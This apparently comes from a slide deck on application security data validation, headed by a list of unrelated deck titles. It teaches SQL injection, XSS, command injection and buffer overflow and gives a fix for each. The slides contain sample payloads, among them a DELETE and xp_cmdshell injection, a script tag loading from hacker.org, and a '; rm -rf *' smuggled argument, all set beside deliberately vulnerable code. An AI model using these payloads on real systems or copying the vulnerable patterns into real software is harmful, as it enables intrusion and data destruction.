Monitoring Java Application Security with JDK Tools and JFR EventsMonitoring Java Application Security with JDK Tools and JFR Events
Monitoring Java Application Security with JDK Tools and JFR Events
 
Observability Concepts EVERY Developer Should Know -- DeveloperWeek Europe.pdf
Observability Concepts EVERY Developer Should Know -- DeveloperWeek Europe.pdfObservability Concepts EVERY Developer Should Know -- DeveloperWeek Europe.pdf
Observability Concepts EVERY Developer Should Know -- DeveloperWeek Europe.pdf
 
Securing your Kubernetes cluster_ a step-by-step guide to success !
Securing your Kubernetes cluster_ a step-by-step guide to success !Securing your Kubernetes cluster_ a step-by-step guide to success !
Securing your Kubernetes cluster_ a step-by-step guide to success !
 
zkStudyClub - Reef: Fast Succinct Non-Interactive Zero-Knowledge Regex Proofs
zkStudyClub - Reef: Fast Succinct Non-Interactive Zero-Knowledge Regex ProofszkStudyClub - Reef: Fast Succinct Non-Interactive Zero-Knowledge Regex Proofs
zkStudyClub - Reef: Fast Succinct Non-Interactive Zero-Knowledge Regex Proofs
 
How to Get CNIC Information System with Paksim Ga.pptx
How to Get CNIC Information System with Paksim Ga.pptxHow to Get CNIC Information System with Paksim Ga.pptx
How to Get CNIC Information System with Paksim Ga.pptx
 
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
 
RESUME BUILDER APPLICATION Project for students
RESUME BUILDER APPLICATION Project for studentsRESUME BUILDER APPLICATION Project for students
RESUME BUILDER APPLICATION Project for students
 
GraphRAG is All You need? LLM & Knowledge Graph
GraphRAG is All You need? LLM & Knowledge GraphGraphRAG is All You need? LLM & Knowledge Graph
GraphRAG is All You need? LLM & Knowledge Graph
 
The Art of the Pitch: WordPress Relationships and Sales
The Art of the Pitch: WordPress Relationships and SalesThe Art of the Pitch: WordPress Relationships and Sales
The Art of the Pitch: WordPress Relationships and Sales
 
Why You Should Replace Windows 11 with Nitrux Linux 3.5.0 for enhanced perfor...
Why You Should Replace Windows 11 with Nitrux Linux 3.5.0 for enhanced perfor...Why You Should Replace Windows 11 with Nitrux Linux 3.5.0 for enhanced perfor...
Why You Should Replace Windows 11 with Nitrux Linux 3.5.0 for enhanced perfor...
 
Pushing the limits of ePRTC: 100ns holdover for 100 days
Pushing the limits of ePRTC: 100ns holdover for 100 daysPushing the limits of ePRTC: 100ns holdover for 100 days
Pushing the limits of ePRTC: 100ns holdover for 100 days
 
Free Complete Python - A step towards Data Science
Free Complete Python - A step towards Data ScienceFree Complete Python - A step towards Data Science
Free Complete Python - A step towards Data Science
 
UiPath Test Automation using UiPath Test Suite series, part 6
UiPath Test Automation using UiPath Test Suite series, part 6UiPath Test Automation using UiPath Test Suite series, part 6
UiPath Test Automation using UiPath Test Suite series, part 6
 

07 application security fundamentals - part 2 - security mechanisms - data validation

  • 1. DATA VALIDATION Security Mechanism: Authentication Authorization Session Management Data Validation Error Handling Logging Encryption
  • 2. Data Validation Core Concepts Given that the client can bypass any client-side controls, all data collected from the client must be considered suspect. 1. Known Good Exact Match (Whitelisting) 2. Known Good Characters (Whitelisting) 3. Known Bad Characters (Blacklisting) 4. Known Bad Exact Match (Blacklisting) Is the data of a proper length and well formed for what was expected by the application?
  • 3. Data Validation Words to Live By  Validate data before use in SQL Commands  Validate data before sending back to the client  Validate data before use in ‘eval’ or system commands  Validate all data lengths before writing to buffers
  • 4. Data Validation Words to Live By: #1  The problem – The software constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Validate data before use in SQL Commands
  • 5. Adam'-- SELECT * FROM users WHERE username = 'Adam'--' AND password = '' 1 string strUser = request.getParameter("user"); 2 string strPwd = request.getParameter("password"); 3 4 string strQuery = "SELECT * FROM users 5 WHERE username = '" + strUser + "' 6 AND password = '" + strPwd + "'"; 7 8 ExecuteQuery( strQuery, db_connection );
  • 6. a' OR 1=1-- SELECT * FROM items WHERE username = 'a' OR 1=1--' AND password = '' 1 string strUser = request.getParameter("user"); 2 string strPwd = request.getParameter("password"); 3 4 string strQuery = "SELECT * FROM users 5 WHERE username = '" + strUser + "' 6 AND password = '" + strPwd + "'"; 7 8 ExecuteQuery( strQuery, db_connection );
  • 7. a'; DELETE FROM username; SELECT * FROM items WHERE 'a'='a SELECT * FROM username WHERE user = 'a'; DELETE FROM username; SELECT * FROM username WHERE 'a'='a' AND password = '' 1 string strUser = request.getParameter("user"); 2 string strPwd = request.getParameter("password"); 3 4 string strQuery = "SELECT * FROM users 5 WHERE username = '" + strUser + "' 6 AND password = '" + strPwd + "'"; 7 8 ExecuteQuery( strQuery, db_connection );
  • 8. '; EXEC master..xp_cmdshell 'dir' -- SELECT * FROM username WHERE user = ''; EXEC master..xp_cmdshell 'dir' --' AND password = '' 1 string strUser = request.getParameter("user"); 2 string strPwd = request.getParameter("password"); 3 4 string strQuery = "SELECT * FROM users 5 WHERE username = '" + strUser + "' 6 AND password = '" + strPwd + "'"; 7 8 ExecuteQuery( strQuery, db_connection );
  • 9. Real World – HBGary Federal vs. Anonymous Bright, P. (2011, February 15). Anonymous speaks: The inside story of the HBGary hack. Retrieved February 16, 2011, from http://arstechnica.com/tech-policy/news/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack.ars/ Image: From Wikimedia Commons – Image taken by Vincent Diamante, February 10, 2008. Retrieved September 20, 2011 from https://secure.wikimedia.org/wikipedia/commons/wiki/File:Anonymous_at_Scientology_in_Los_Angeles.jpg
  • 10. Secure Coding …  Restrict length (username doesn't need to be 100 chars long)  Whitelist characters (only allow a-z and A-Z for username)  Use prepared statements 1 string strUser = request.getParameter("user"); 2 if(strUser.length > 100) error(); 3 if(strUser.matches("^[a-zA-Z]+$") == false) error(); 4 5 string strQuery = "SELECT * FROM users 6 WHERE username = ? 7 AND password = ?"; 8 9 PreparedStatement stmnt = null; 10 stmnt = db_connection.prepareStatment(strQuery); 11 stmnt.setString(1,strUser); 12 stmnt.setString(2,strPwd); 13 stmnt.execute();
  • 11. Data Validation Words to Live By: #2  The problem – The software does not neutralize or incorrectly neutralizes user- controllable input before it is placed in output that is used as a web page that is served to other users. Validate data before sending back to the client
  • 12. XSS (Cross Site Scripting) Flow server Attacker User Persistent XSS create malicious site malicious post Reflected XSS vulnerable site 1 2 - wait for user to visit site - send phishing email 3 - browse to site - clicks on link 4 attacker's code sent to user and run in their browser
  • 13. <SCRIPT SRC=http://hacker.org/malicious.js /> <P> Label: <SCRIPT SRC=http://hacker.org/malicious.js /> </P> 1 <% string strLabel = request.getParameter("label"); %> 2 3 <P> 4 Label: <%= strLabel %> 5 </P>
  • 14. <IMG SRC=javascript:alert('XSS')/> <P> Label: <IMG SRC=javascript:alert('XSS') /> </P> 1 <% string strLabel = request.getParameter("label"); %> 2 3 <P> 4 Label: <%= strLabel %> 5 </P>
  • 15. Real World – Myspace & samy is my hero 1 hour: 1 new friend 8 hours: 222 new friends 13 hours: 8803 new friends 18 hours: 1,005,831 new friends
  • 16. Secure Coding …  Validate input (only accept characters that make sense)  Encode output (escape characters like "<") – HTML encode – URL encode – JavaScript encode 1 <% 2 string strLabel = request.getParameter("label"); 3 if(strLabel.matches("^[a-zA-Z0-9]+$") == false) error(); 4 %> 5 6 <P> 7 Label: <%= encodeHTML(strLabel) %> 8 </P>
  • 17. Real World – Google's URL Redirection In 2005, Watchfire reported the following XSS issue with Google … The script http://www.google.com/url?q= was used for redirecting the browser from Google's website to other sites. When the parameter q was passed to the script in an illegal format, a "403 Forbidden" page was returned to the user, informing them that the query was illegal. The parameter's value appeared in the html returned to the user. For example, if http://www.google.com/url?q=EVIL_INPUT was requested, the text in the "403 Forbidden" response would have been: - "Your client does not have permission to get URL /url?q=EVIL_INPUT from this server." While Google escaped common characters used for XSS, such angle brackets and apostrophes, it failed to handle hazardous UTF-7 encoded payloads. Therefore, when sending an XSS attack payload encoded in UTF-7, the payload would return in the response without being altered. <?php header('Content-Type: text/html; charset=UTF-7'); $string = "<script>alert('XSS');</script>"; $string = mb_convert_encoding($string, 'UTF-7'); echo htmlentities($string, ENT_QUOTES, 'UTF-8'); ?>
  • 18. Data Validation Words to Live By: #3  The problem – The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval"). Validate data before use in ‘eval’ or system commands
  • 19. -lad /bin/ls -lad 1 my $options = readSocket($sock); 2 my $command = "/bin/ls " . $options; 3 system($command);
  • 20. -lad; rm -rf *; /bin/ls -lad; rm -rf *; 1 my $options = readSocket($sock); 2 my $command = "/bin/ls " . $options; 3 system($command);
  • 21. Real World Example – TWiki Exploit The search parameter of the website was being placed into an eval function, allowing remote users to fully exploit the server
  • 22. Secure Coding …  Restrict length (option doesn't need to be 100 chars long)  Whitelist (only allow specific commands) 1 my $options = <STDIN>; 2 if length($options) > 100 3 { 4 error(); 5 } 6 if ($options =~ m/^[a-zA-Z- ]+$/) 7 { 8 my $command = "/bin/ls " . $options; 9 system($command); 10 }
  • 23. Data Validation Words to Live By: #4  The problem – The program copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow. Validate all data lengths before writing to buffers
  • 24. Hello 1 char c[12]; 2 char *bar; 3 printf("Please enter your name and press <Enter>n"); 4 get bar; 5 strcpy(c, bar);
  • 25. A​A​A​A​A​A​A​A​A​A​A​A​A​A​A​A​A​A​A​Ax08x35xC0x80 1 char c[12]; 2 char *bar; 3 printf("Please enter your name and press <Enter>n"); 4 get bar; 5 strcpy(c, bar);
  • 26. Real World Example – Buffer Overflow
  • 27. Secure Coding …  Use "safe" functions (e.g., strncpy() )  Validate maximum and minimum size values  Verify that calculations result in valid ranges  Validate length of input strings (plus NULL terminator!)  Consider compiler switches that reduce danger of buffer overflows  Whitelist when possible Assume all input is malicious.